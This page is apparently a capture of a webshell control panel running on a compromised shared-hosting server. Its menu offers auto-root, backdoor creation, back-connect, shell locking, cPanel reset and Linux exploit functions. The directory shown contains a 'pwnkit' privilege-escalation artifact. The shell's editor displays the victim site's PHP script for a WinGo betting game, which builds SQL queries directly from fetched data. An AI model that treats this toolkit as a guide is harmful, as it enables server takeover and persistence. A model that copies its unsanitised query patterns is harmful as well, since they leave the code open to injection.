Linux s3.cpanelhost.co.in 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
LiteSpeed
: 65.108.44.247 | : 216.73.216.239
Cant Read [ /etc/named.conf ]
7.4.33
teac11783
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
teac11783 /
dexprotection.teacherslex.site /
slex-ai /
[ HOME SHELL ]
Name
Size
Permission
Action
data
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
php
[ DIR ]
drwxrwxrwx
python_bot
[ DIR ]
drwxrwxrwx
temp
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
README.md
3.85
KB
-rw-rw-rw-
SETUP_GUIDE.md
2.84
KB
-rw-rw-rw-
TEXT.txt
2.36
KB
-rw-rw-rw-
admin_panel.php
15.81
KB
-rw-rw-rw-
analyze_response.py
882
B
-rw-rw-rw-
bot.php
15.29
KB
-rw-rw-rw-
config.php
2.77
KB
-rw-rw-rw-
cron.lock
39
B
-rw-r--r--
cron_log.txt
83.84
KB
-rw-r--r--
db.php
652
B
-rw-rw-rw-
debug_response_1780694966.txt
4.92
KB
-rw-rw-rw-
demo2.apk
9.07
MB
-rw-rw-rw-
demo2_PROTECTED.apk
13.52
MB
-rw-rw-rw-
error_log
11.86
MB
-rw-r--r--
find_runtime_field.py
1.04
KB
-rw-rw-rw-
fonts.php
1.45
KB
-rw-rw-rw-
heartbeat.php
940
B
-rw-rw-rw-
hello.txt.txt
0
B
-rw-rw-rw-
independent_admin.php
12.22
KB
-rw-rw-rw-
independent_cron.php
4.15
KB
-rw-rw-rw-
login_page.html
6.24
KB
-rw-rw-rw-
options_page.html
50.62
KB
-rw-rw-rw-
owner_panel.php
17.18
KB
-rw-rw-rw-
php0.zip
22.38
KB
-rw-rw-rw-
php1.zip
30.73
KB
-rw-rw-rw-
points.php
10.2
KB
-rw-rw-rw-
poll.php
2.07
KB
-rw-rw-rw-
protect_apk.py
9.31
KB
-rw-rw-rw-
protection_page.html
50.33
KB
-rw-rw-rw-
pwnkit
0
B
-rwxr-xr-x
set_webhook.php
430
B
-rw-rw-rw-
setup_webhook.php
1.42
KB
-rw-rw-rw-
slex-ai_function.php
5.6
KB
-rw-r--r--
test_dex.py
11.48
KB
-rw-rw-rw-
test_env.php
6.39
KB
-rw-rw-rw-
test_new_domain.py
1.66
KB
-rw-rw-rw-
test_protect_demo2.py
6.22
KB
-rw-rw-rw-
upload_response.html
118.23
KB
-rw-rw-rw-
wingo_cron.lock
0
B
-rw-r--r--
wingo_sync_auto.php
28.18
KB
-rw-rw-rw-
worker.php
17.25
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : wingo_sync_auto.php
<?php // ═══════════════════════════════════════════════════════════════ // WINGO ALL-IN-ONE SYNC + COUNTDOWN + WIN POPUP + AUTO CRON // Single file — koi extra file nahi chahiye // ═══════════════════════════════════════════════════════════════ error_reporting(E_ALL); ini_set('display_errors', 1); date_default_timezone_set('Asia/Kolkata'); // ========================================== // 🚀 AUTO CRON SPAWNER & PRECISION LOOP // ========================================== $lock_file = __DIR__ . '/wingo_cron.lock'; // 1. If spawned as the infinite background cron loop if (php_sapi_name() === 'cli' && isset($_SERVER['argv'][1]) && $_SERVER['argv'][1] === 'auto_cron') { ignore_user_abort(true); set_time_limit(0); $script_path = __FILE__; // Advance setting (change to 1, 2, or 3 if you need it to trigger early) $advance_seconds = 0; while (true) { touch($lock_file); // Keep lock active $current_second = (int)date('s'); $target_second = 60 - $advance_seconds; if ($target_second == 60) $target_second = 0; $sleep_time = 60 - $current_second - $advance_seconds; if ($sleep_time < 0) $sleep_time += 60; // Sleep until 2 seconds before the target hit time if ($sleep_time > 2) { sleep($sleep_time - 2); } // Precision microsecond loop for exact 00.00 timing while (true) { $sec = (int)date('s'); if ($sec === $target_second) break; usleep(10000); } // EXACT time reached! Run the sync logic in a fresh CLI process if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { pclose(popen("start /B php \"$script_path\"", "r")); } else { exec("php \"$script_path\" > /dev/null 2>&1 &"); } sleep(5); // Prevent double trigger } exit; } // 2. If accessed via web, spawn the background loop if not already running if (php_sapi_name() !== 'cli' && !isset($_GET['action'])) { $is_running = false; if (file_exists($lock_file) && (time() - filemtime($lock_file) < 180)) { $is_running = true; } if (!$is_running) { $script_path = __FILE__; if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { pclose(popen("start /B php \"$script_path\" auto_cron", "r")); } else { exec("php \"$script_path\" auto_cron > /dev/null 2>&1 &"); } } } // Use absolute path so the background CLI process can find the database config! include(__DIR__ . "/serive/samparka.php"); // ─────────────────────────────────────────── // STEP 1: Agar AJAX countdown request aye // ─────────────────────────────────────────── if (isset($_GET['action']) && $_GET['action'] === 'countdown') { header('Content-Type: application/json'); header('Cache-Control: no-cache, no-store, must-revalidate'); $GAME_INTERVAL = 60; // 1 minute = 60s | 3min = 180 | 5min = 300 $now_sec = time(); $midnight_today = mktime(0, 0, 0, date('n'), date('j'), date('Y')); $seconds_since_midnight = $now_sec - $midnight_today; $current_seq_index = floor($seconds_since_midnight / $GAME_INTERVAL); $current_seq = $current_seq_index + 1; $period_start_sec = $midnight_today + ($current_seq_index * $GAME_INTERVAL); $period_end_sec = $period_start_sec + $GAME_INTERVAL; $remaining = max(0, $period_end_sec - $now_sec); $period_number = date('Ymd') . str_pad($current_seq, 3, '0', STR_PAD_LEFT); echo json_encode([ 'issueNumber' => $period_number, 'remaining' => (int)$remaining, 'minutes' => (int)floor($remaining / 60), 'seconds' => (int)($remaining % 60), 'serverTime' => round(microtime(true) * 1000), 'periodEnd' => $period_end_sec * 1000, ]); exit; } // ─────────────────────────────────────────── // STEP 2: Main Sync Logic // ─────────────────────────────────────────── $apiUrl = "https://draw.ar-lottery01.com/WinGo/WinGo_1M/GetHistoryIssuePage.json"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $apiUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0'); $response = curl_exec($ch); curl_close($ch); $json = json_decode($response, true); $winners_list = []; $real_finished_period = "N/A"; $real_finished_result = 0; $real_prev_period = "N/A"; $real_prev_result = 0; $banna = ""; $sync_message = "API se data nahi mila."; if (isset($json['data']['list'][0])) { $real_finished_period = $json['data']['list'][0]['issueNumber']; $real_finished_result = (int)$json['data']['list'][0]['number']; $real_prev_period = $json['data']['list'][1]['issueNumber']; $real_prev_result = (int)$json['data']['list'][1]['number']; $tarika = date('Y-m-d H:i:s'); // ACTIVE PERIOD mysqli_query($conn, "DELETE FROM gelluonduhogu WHERE atadaaidi!='$real_finished_period'"); $check_p = mysqli_query($conn, "SELECT atadaaidi FROM gelluonduhogu WHERE atadaaidi='$real_finished_period'"); if (mysqli_num_rows($check_p) == 0) { mysqli_query($conn, "INSERT INTO gelluonduhogu(atadaaidi,dinankavannuracisi) VALUES('$real_finished_period','$tarika')"); } // RESULT UPDATE mysqli_query($conn, "UPDATE hastacalita_phalitansa SET sthiti='0'"); mysqli_query($conn, "UPDATE hastacalita_phalitansa SET sthiti='1' WHERE sankhye='$real_finished_result'"); // COLOR LOGIC if ($real_prev_result == 0) { $banna = 'red,violet'; } elseif ($real_prev_result == 5) { $banna = 'green,violet'; } elseif (in_array($real_prev_result, [1, 3, 7, 9])) { $banna = 'green'; } else { $banna = 'red'; } // HISTORY CHECK $check_h = mysqli_query($conn, "SELECT id FROM gellaluhogiondu_phalitansa WHERE kalaparichaya='$real_prev_period'"); if (mysqli_num_rows($check_h) == 0) { $random = rand(1000, 9999) . $real_prev_result; // INSERT HISTORY mysqli_query($conn, "INSERT INTO gellaluhogiondu_phalitansa (kalaparichaya,bele,phalitansa,banna,phalitansadaprakara,dinankavannuracisi) VALUES('$real_prev_period','$random','$real_prev_result','$banna','sync_done','$tarika')"); // APPLY 2% TAX mysqli_query($conn, "UPDATE bajikattuttate SET ketebida=ketebida*0.98 WHERE kalaparichaya='$real_prev_period'"); // WIN CONDITION $win_cond = "ojana='$real_prev_result'"; $win_cond .= ($real_prev_result >= 5) ? " OR ojana='13'" : " OR ojana='14'"; if (strpos($banna, 'red') !== false) $win_cond .= " OR ojana='10'"; if (strpos($banna, 'green') !== false) $win_cond .= " OR ojana='11'"; if (strpos($banna, 'violet') !== false) $win_cond .= " OR ojana='12'"; // MARK WINNERS mysqli_query($conn, "UPDATE bajikattuttate SET phalaphala='gagner',ergebnis='$real_prev_result',tiarikala='$tarika' WHERE kalaparichaya='$real_prev_period' AND ($win_cond)"); // PAYOUTS mysqli_query($conn, "UPDATE bajikattuttate SET sesabida=ketebida*9 WHERE kalaparichaya='$real_prev_period' AND phalaphala='gagner' AND ojana='$real_prev_result'"); mysqli_query($conn, "UPDATE bajikattuttate SET sesabida=ketebida*2 WHERE kalaparichaya='$real_prev_period' AND phalaphala='gagner' AND (ojana='13' OR ojana='14')"); mysqli_query($conn, "UPDATE bajikattuttate SET sesabida=ketebida*2 WHERE kalaparichaya='$real_prev_period' AND phalaphala='gagner' AND (ojana='10' OR ojana='11')"); mysqli_query($conn, "UPDATE bajikattuttate SET sesabida=ketebida*4.5 WHERE kalaparichaya='$real_prev_period' AND phalaphala='gagner' AND ojana='12'"); // ADD TO WALLET mysqli_query($conn, "UPDATE shonu_kaichila INNER JOIN( SELECT byabaharkarta, SUM(sesabida) as total_win FROM bajikattuttate WHERE kalaparichaya='$real_prev_period' AND phalaphala='gagner' GROUP BY byabaharkarta ) as winners ON shonu_kaichila.balakedara=winners.byabaharkarta SET shonu_kaichila.motta = shonu_kaichila.motta + winners.total_win"); $sync_message = "SYNC DONE | Period $real_finished_period | Result $real_finished_result"; } else { $sync_message = "ALREADY SYNCED | Period $real_finished_period | Result $real_finished_result"; } // FETCH WINNERS FOR POPUP $wq = mysqli_query($conn, "SELECT byabaharkarta, SUM(sesabida) as total_win FROM bajikattuttate WHERE kalaparichaya='$real_prev_period' AND phalaphala='gagner' GROUP BY byabaharkarta ORDER BY total_win DESC"); if ($wq) { while ($row = mysqli_fetch_assoc($wq)) { $winners_list[] = $row; } } } // ─────────────────────────────────────────── // CLI mode (cron job) — sirf text output // ─────────────────────────────────────────── if (php_sapi_name() === 'cli') { echo $sync_message . "\n"; foreach ($winners_list as $w) { echo "Winner: " . $w['byabaharkarta'] . " | +₹" . $w['total_win'] . "\n"; } exit; // Stop execution here for cron hits } // ─────────────────────────────────────────── // HTML & UI Starts Here // ─────────────────────────────────────────── $bg_class = 'red-bg'; if ($banna === 'red,violet') $bg_class = 'red-violet-bg'; elseif ($banna === 'green,violet') $bg_class = 'green-violet-bg'; elseif ($banna === 'green') $bg_class = 'green-bg'; elseif ($banna === 'violet') $bg_class = 'violet-bg'; $has_winners = !empty($winners_list); $is_demo = isset($_GET['demo']) && $_GET['demo'] === '1'; if ($is_demo) { $has_winners = true; if (empty($winners_list)) { $winners_list = [ ['byabaharkarta' => 'TestUser123', 'total_win' => '250.00'], ['byabaharkarta' => 'Player456', 'total_win' => '150.00'], ]; if (!$banna) $banna = 'green'; if (!$bg_class || $bg_class === 'red-bg') $bg_class = 'green-bg'; if ($real_prev_period === 'N/A') $real_prev_period = date('Ymd') . '000'; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>WinGo Sync Panel</title> <link href="https://fonts.googleapis.com/css2?family=Outfit:wght@300;400;600;800&display=swap" rel="stylesheet"> <style> *{box-sizing:border-box;margin:0;padding:0;font-family:'Outfit',sans-serif} body{background:#0b0d19;color:#f1f3fa;min-height:100vh;display:flex;align-items:center;justify-content:center;overflow-x:hidden;position:relative} body::before{content:'';position:fixed;width:400px;height:400px;background:radial-gradient(circle,rgba(156,39,176,.35) 0%,transparent 70%);top:5%;left:5%;pointer-events:none} body::after{content:'';position:fixed;width:400px;height:400px;background:radial-gradient(circle,rgba(0,230,118,.2) 0%,transparent 70%);bottom:5%;right:5%;pointer-events:none} #confetti-canvas{position:fixed;top:0;left:0;width:100vw;height:100vh;pointer-events:none;z-index:99} .card{width:90%;max-width:560px;background:rgba(25,28,50,.7);backdrop-filter:blur(20px);border:1px solid rgba(255,255,255,.1);border-radius:24px;padding:32px;text-align:center;box-shadow:0 8px 32px rgba(31,38,135,.4);z-index:10;animation:slideUp .7s cubic-bezier(.16,1,.3,1) forwards} @keyframes slideUp{from{opacity:0;transform:translateY(35px) scale(.96)}to{opacity:1;transform:translateY(0) scale(1)}} .header-label{font-size:1rem;text-transform:uppercase;letter-spacing:3px;color:#6b7db3;margin-bottom:20px} .period-badge{background:rgba(255,255,255,.07);border-radius:10px;padding:8px 18px;display:inline-block;font-size:1rem;font-weight:600;color:#aabbee;margin-bottom:22px} .num-circle{width:88px;height:88px;border-radius:50%;display:inline-flex;align-items:center;justify-content:center;font-size:3.2rem;font-weight:800;margin:10px auto 20px;animation:pulseGlow 2s infinite alternate} @keyframes pulseGlow{from{transform:scale(1)}to{transform:scale(1.06)}} .red-bg{background:linear-gradient(135deg,#ff1744,#b71c1c);box-shadow:0 0 28px rgba(255,23,68,.55)} .green-bg{background:linear-gradient(135deg,#00e676,#1b5e20);box-shadow:0 0 28px rgba(0,230,118,.55)} .violet-bg{background:linear-gradient(135deg,#9c27b0,#4a148c);box-shadow:0 0 28px rgba(156,39,176,.55)} .red-violet-bg{background:linear-gradient(135deg,#ff1744,#9c27b0);box-shadow:0 0 28px rgba(220,40,120,.55)} .green-violet-bg{background:linear-gradient(135deg,#00e676,#9c27b0);box-shadow:0 0 28px rgba(80,140,150,.55)} .countdown-wrap{background:rgba(0,0,0,.25);border-radius:14px;padding:16px 20px;margin:10px 0 20px;border:1px solid rgba(255,255,255,.06)} .countdown-label{font-size:.8rem;text-transform:uppercase;letter-spacing:2px;color:#6b7db3;margin-bottom:8px} .countdown-digits{font-size:2.6rem;font-weight:800;letter-spacing:4px;color:#fff;font-variant-numeric:tabular-nums;transition:color .3s} .countdown-digits.warning{color:#ff9100} .countdown-digits.danger{color:#ff1744} .countdown-period{font-size:.85rem;color:#5a6a9a;margin-top:4px} .status{color:#00e676;font-weight:600;font-size:.95rem;letter-spacing:1px;text-transform:uppercase;margin-top:18px} .leaderboard{margin-top:24px;text-align:left} .leaderboard h3{font-size:1rem;text-transform:uppercase;color:#8fa0dd;margin-bottom:12px;border-left:3px solid #00e676;padding-left:10px} .winners-scroll{max-height:180px;overflow-y:auto;border-radius:10px;background:rgba(0,0,0,.2)} .winner-row{display:flex;justify-content:space-between;align-items:center;padding:11px 18px;border-bottom:1px solid rgba(255,255,255,.04);opacity:0;animation:slideLeft .4s ease forwards} @keyframes slideLeft{from{opacity:0;transform:translateX(-15px)}to{opacity:1;transform:translateX(0)}} .winner-id{font-weight:600;color:#d8e2ff;font-size:.95rem} .winner-amt{font-weight:800;color:#00e676;font-size:.95rem} .modal-overlay{position:fixed;inset:0;background:rgba(4,5,14,.88);display:flex;align-items:center;justify-content:center;z-index:200;opacity:0;pointer-events:none;transition:opacity .45s ease} .modal-overlay.open{opacity:1;pointer-events:auto} .modal-box{background:linear-gradient(145deg,#1d2040,#0e1028);border:2px solid #ffca28;border-radius:28px;padding:32px 28px;width:92%;max-width:420px;text-align:center;transform:scale(.72) translateY(30px);transition:transform .5s cubic-bezier(.175,.885,.32,1.275);box-shadow:0 20px 60px rgba(255,202,40,.3)} .modal-overlay.open .modal-box{transform:scale(1) translateY(0)} .win-header{position:relative;margin-bottom:16px} .win-glow-ring{position:absolute;top:50%;left:50%;width:90px;height:90px;border-radius:50%;transform:translate(-50%,-60%);border:3px solid rgba(255,202,40,.5);animation:ringPulse 1.5s ease-in-out infinite} @keyframes ringPulse{0%{transform:translate(-50%,-60%) scale(.8);opacity:1}100%{transform:translate(-50%,-60%) scale(1.9);opacity:0}} .win-trophy-wrap{position:relative;z-index:2} .trophy-icon{font-size:4rem;display:block;animation:trophyBounce 1.1s ease-in-out infinite alternate} @keyframes trophyBounce{from{transform:translateY(0) scale(1)}to{transform:translateY(-9px) scale(1.08)}} .modal-title{font-size:1.9rem;font-weight:800;text-transform:uppercase;margin:12px 0 4px;letter-spacing:2px;background:linear-gradient(90deg,#ffca28,#fff,#ffca28);background-size:200% auto;-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text;animation:shimmer 2s linear infinite} @keyframes shimmer{0%{background-position:0% center}100%{background-position:200% center}} .modal-sub{color:#7a8abf;font-size:.9rem;margin-bottom:14px} .result-badge-row{display:flex;align-items:center;justify-content:center;gap:14px;background:rgba(0,0,0,.3);border-radius:14px;padding:12px 18px;margin-bottom:16px} .result-num{width:52px;height:52px;border-radius:50%;display:flex;align-items:center;justify-content:center;font-size:1.8rem;font-weight:800;flex-shrink:0} .result-meta{display:flex;flex-direction:column;align-items:flex-start;gap:5px} .result-color-tag{font-size:.75rem;font-weight:700;text-transform:uppercase;padding:3px 10px;border-radius:20px;letter-spacing:1px} .result-color-tag.red{background:rgba(255,23,68,.2);color:#ff1744;border:1px solid rgba(255,23,68,.4)} .result-color-tag.green{background:rgba(0,230,118,.2);color:#00e676;border:1px solid rgba(0,230,118,.4)} .result-color-tag.red-violet{background:linear-gradient(90deg,rgba(255,23,68,.15),rgba(156,39,176,.15));color:#e040fb;border:1px solid rgba(200,50,180,.4)} .result-color-tag.green-violet{background:linear-gradient(90deg,rgba(0,230,118,.15),rgba(156,39,176,.15));color:#76ff03;border:1px solid rgba(100,200,150,.4)} .result-type{font-size:.75rem;font-weight:700;color:#8fa0dd;letter-spacing:2px;text-transform:uppercase} .top-winner-box{background:rgba(0,0,0,.25);border-left:3px solid #ffca28;border-radius:10px;padding:14px 16px;margin-bottom:20px;display:flex;justify-content:space-between;align-items:center;text-align:left} .top-winner-name{color:#ffca28;font-weight:700;font-size:1rem} .top-winner-win{color:#00e676;font-weight:800;font-size:1.2rem} .close-btn{background:linear-gradient(135deg,#ffca28,#ffb300);border:none;border-radius:12px;padding:13px 32px;color:#0b0d19;font-size:1.05rem;font-weight:700;cursor:pointer;transition:all .3s;box-shadow:0 4px 16px rgba(255,202,40,.4)} .close-btn:hover{transform:translateY(-2px);box-shadow:0 8px 24px rgba(255,202,40,.6)} </style> </head> <body> <canvas id="confetti-canvas"></canvas> <!-- Main Panel --> <div class="card"> <p class="header-label">🎰 WinGo Draw Sync</p> <div class="period-badge">Finished Period: <?= htmlspecialchars($real_finished_period) ?></div> <!-- Result Number --> <div> <div class="num-circle <?= $bg_class ?>"><?= $real_finished_result ?></div> </div> <!-- Live Countdown (next period) --> <div class="countdown-wrap"> <div class="countdown-label">⏱ Next Draw Countdown</div> <div class="countdown-digits" id="cd-display">00:00</div> <div class="countdown-period" id="cd-period">Loading period...</div> </div> <p class="status">✓ <?= htmlspecialchars($sync_message) ?></p> <!-- Winners Leaderboard --> <?php if ($has_winners): ?> <div class="leaderboard"> <h3>🏆 Winners — Period <?= htmlspecialchars($real_prev_period) ?></h3> <div class="winners-scroll"> <?php foreach ($winners_list as $i => $w): ?> <div class="winner-row" style="animation-delay:<?= $i * 0.12 ?>s"> <span class="winner-id">👤 <?= htmlspecialchars($w['byabaharkarta']) ?></span> <span class="winner-amt">+₹<?= number_format((float)$w['total_win'], 2) ?></span> </div> <?php endforeach; ?> </div> </div> <?php endif; ?> </div> <!-- Win Popup Modal --> <?php if ($has_winners): ?> <div class="modal-overlay" id="win-modal"> <div class="modal-box"> <div class="win-header"> <div class="win-glow-ring"></div> <div class="win-trophy-wrap"> <span class="trophy-icon">🏆</span> </div> <h2 class="modal-title">Congratulations!</h2> <p class="modal-sub">Winners settled for Period <?= htmlspecialchars($real_prev_period) ?></p> </div> <div class="result-badge-row"> <div class="result-num <?= $bg_class ?>"><?= $real_finished_result ?></div> <div class="result-meta"> <span class="result-color-tag <?= str_replace(',', '-', $banna) ?>"> <?= strtoupper(str_replace(',', ' + ', $banna)) ?> </span> <span class="result-type"><?= $real_finished_result >= 5 ? 'BIG' : 'SMALL' ?></span> </div> </div> <div class="top-winner-box"> <div> <div style="color:#8fa0dd;font-size:.8rem;margin-bottom:3px">TOP WINNER</div> <span class="top-winner-name">👤 <?= htmlspecialchars($winners_list[0]['byabaharkarta']) ?></span> </div> <span class="top-winner-win">+₹<?= number_format((float)$winners_list[0]['total_win'], 2) ?></span> </div> <button class="close-btn" onclick="closeModal()">Claim Victory! 🎉</button> </div> </div> <?php endif; ?> <script> function playWinSound() { try { const AC = window.AudioContext || window.webkitAudioContext; if (!AC) return; const ctx = new AC(); const notes = [[261.63,0],[329.63,150],[392.00,300],[523.25,450]]; notes.forEach(([f, delay]) => { setTimeout(() => { const o = ctx.createOscillator(), g = ctx.createGain(); o.type = 'triangle'; o.frequency.value = f; g.gain.setValueAtTime(0.14, ctx.currentTime); g.gain.exponentialRampToValueAtTime(0.001, ctx.currentTime + 0.8); o.connect(g); g.connect(ctx.destination); o.start(); o.stop(ctx.currentTime + 0.8); }, delay); }); } catch(e) {} } const canvas = document.getElementById('confetti-canvas'); const ctx2 = canvas.getContext('2d'); let particles = [], confettiRunning = false, animFrameId = null; const PAPER_COLORS = [ '#ff3d57','#ff6b35','#ffca28', '#00e676','#00bcd4','#2979ff', '#d500f9','#ff1744','#76ff03', '#ffffff','#ffab40','#40c4ff' ]; function resizeCanvas() { canvas.width = innerWidth; canvas.height = innerHeight; } resizeCanvas(); window.addEventListener('resize', resizeCanvas); class PaperStrip { constructor(fromSide) { this.fromSide = fromSide; this.init(); } init() { const W = innerWidth, H = innerHeight; this.color = PAPER_COLORS[Math.floor(Math.random() * PAPER_COLORS.length)]; this.w = Math.random() * 7 + 4; this.h = Math.random() * 14 + 8; if (this.fromSide === 'left') { this.x = -this.w; this.y = Math.random() * H * 0.6; this.vx = Math.random() * 8 + 5; this.vy = Math.random() * 3 - 0.5; } else if (this.fromSide === 'right') { this.x = W + this.w; this.y = Math.random() * H * 0.6; this.vx = -(Math.random() * 8 + 5); this.vy = Math.random() * 3 - 0.5; } else { this.x = Math.random() * W; this.y = -Math.random() * 200 - this.h; this.vx = Math.random() * 3 - 1.5; this.vy = Math.random() * 4 + 3; } this.rot = Math.random() * 360; this.rotSpeed= Math.random() * 6 + 2; this.rotDir = Math.random() > 0.5 ? 1 : -1; this.waveAmp = Math.random() * 2.5 + 0.5; this.waveFreq = Math.random() * 0.08 + 0.03; this.wavePhase = Math.random() * Math.PI * 2; this.age = 0; this.gravity = 0.12; this.drag = 0.995; this.opacity = 1; this.dead = false; } update() { this.age++; this.vy += this.gravity; const flutter = Math.sin(this.age * this.waveFreq + this.wavePhase) * this.waveAmp; this.x += this.vx * this.drag + flutter; this.y += this.vy * this.drag; this.rot += this.rotSpeed * this.rotDir; this.vx *= 0.98; if (this.y > innerHeight * 0.75) { this.opacity -= 0.015; } if (this.y > innerHeight + 30 || this.opacity <= 0) { this.dead = true; } } draw() { ctx2.save(); ctx2.globalAlpha = Math.max(0, this.opacity); ctx2.translate(this.x, this.y); ctx2.rotate(this.rot * Math.PI / 180); ctx2.fillStyle = this.color; ctx2.fillRect(-this.w / 2, -this.h / 2, this.w, this.h); ctx2.fillStyle = 'rgba(255,255,255,0.28)'; ctx2.fillRect(-this.w / 2, -this.h / 2, this.w * 0.38, this.h); ctx2.restore(); } } function launchConfetti() { for (let i = 0; i < 55; i++) { setTimeout(() => particles.push(new PaperStrip('left')), i * 18); } for (let i = 0; i < 55; i++) { setTimeout(() => particles.push(new PaperStrip('right')), i * 18); } for (let i = 0; i < 80; i++) { setTimeout(() => particles.push(new PaperStrip('top')), i * 30 + 200); } if (!confettiRunning) { confettiRunning = true; animateConfetti(); } } function animateConfetti() { ctx2.clearRect(0, 0, canvas.width, canvas.height); for (let i = particles.length - 1; i >= 0; i--) { particles[i].update(); particles[i].draw(); if (particles[i].dead) particles.splice(i, 1); } if (confettiRunning) { animFrameId = requestAnimationFrame(animateConfetti); } } function closeModal() { const m = document.getElementById('win-modal'); if (m) { m.style.opacity = '0'; m.style.transition = 'opacity 0.35s ease'; setTimeout(() => m.classList.remove('open'), 350); } confettiRunning = false; if (animFrameId) cancelAnimationFrame(animFrameId); setTimeout(() => { ctx2.clearRect(0, 0, canvas.width, canvas.height); particles = []; }, 400); } const cdDisplay = document.getElementById('cd-display'); const cdPeriod = document.getElementById('cd-period'); let periodEndMs = null, cdInterval = null, serverOffset = 0; function pad(n) { return String(n).padStart(2,'0'); } function tickCountdown() { if (!periodEndMs) return; const nowMs = Date.now() + serverOffset; const remaining = Math.max(0, Math.round((periodEndMs - nowMs) / 1000)); const mm = pad(Math.floor(remaining / 60)); const ss = pad(remaining % 60); cdDisplay.textContent = mm + ':' + ss; cdDisplay.className = 'countdown-digits' + (remaining <= 10 ? ' danger' : remaining <= 20 ? ' warning' : ''); if (remaining === 0) { clearInterval(cdInterval); cdDisplay.textContent = '00:00'; setTimeout(syncCountdown, 1500); } } async function syncCountdown() { try { const t0 = Date.now(); const res = await fetch('?action=countdown&_=' + t0, { cache: 'no-store' }); const t1 = Date.now(); const d = await res.json(); serverOffset = (d.serverTime + (t1 - t0) / 2) - Date.now(); periodEndMs = d.periodEnd; cdPeriod.textContent = 'Period: ' + d.issueNumber; clearInterval(cdInterval); cdInterval = setInterval(tickCountdown, 1000); tickCountdown(); } catch(e) { cdDisplay.textContent = '--:--'; setTimeout(syncCountdown, 5000); } } document.addEventListener('visibilitychange', () => { if (document.visibilityState === 'visible') syncCountdown(); }); window.addEventListener('online', syncCountdown); setInterval(syncCountdown, 30000); window.addEventListener('DOMContentLoaded', () => { syncCountdown(); <?php if ($has_winners): ?> setTimeout(() => { const modal = document.getElementById('win-modal'); if (modal) modal.classList.add('open'); playWinSound(); launchConfetti(); }, 900); <?php endif; ?> const urlParams = new URLSearchParams(window.location.search); if (urlParams.get('demo') === '1') { setTimeout(() => { const modal = document.getElementById('win-modal'); if (modal) modal.classList.add('open'); playWinSound(); launchConfetti(); }, 600); } }); </script> </body> </html>
Close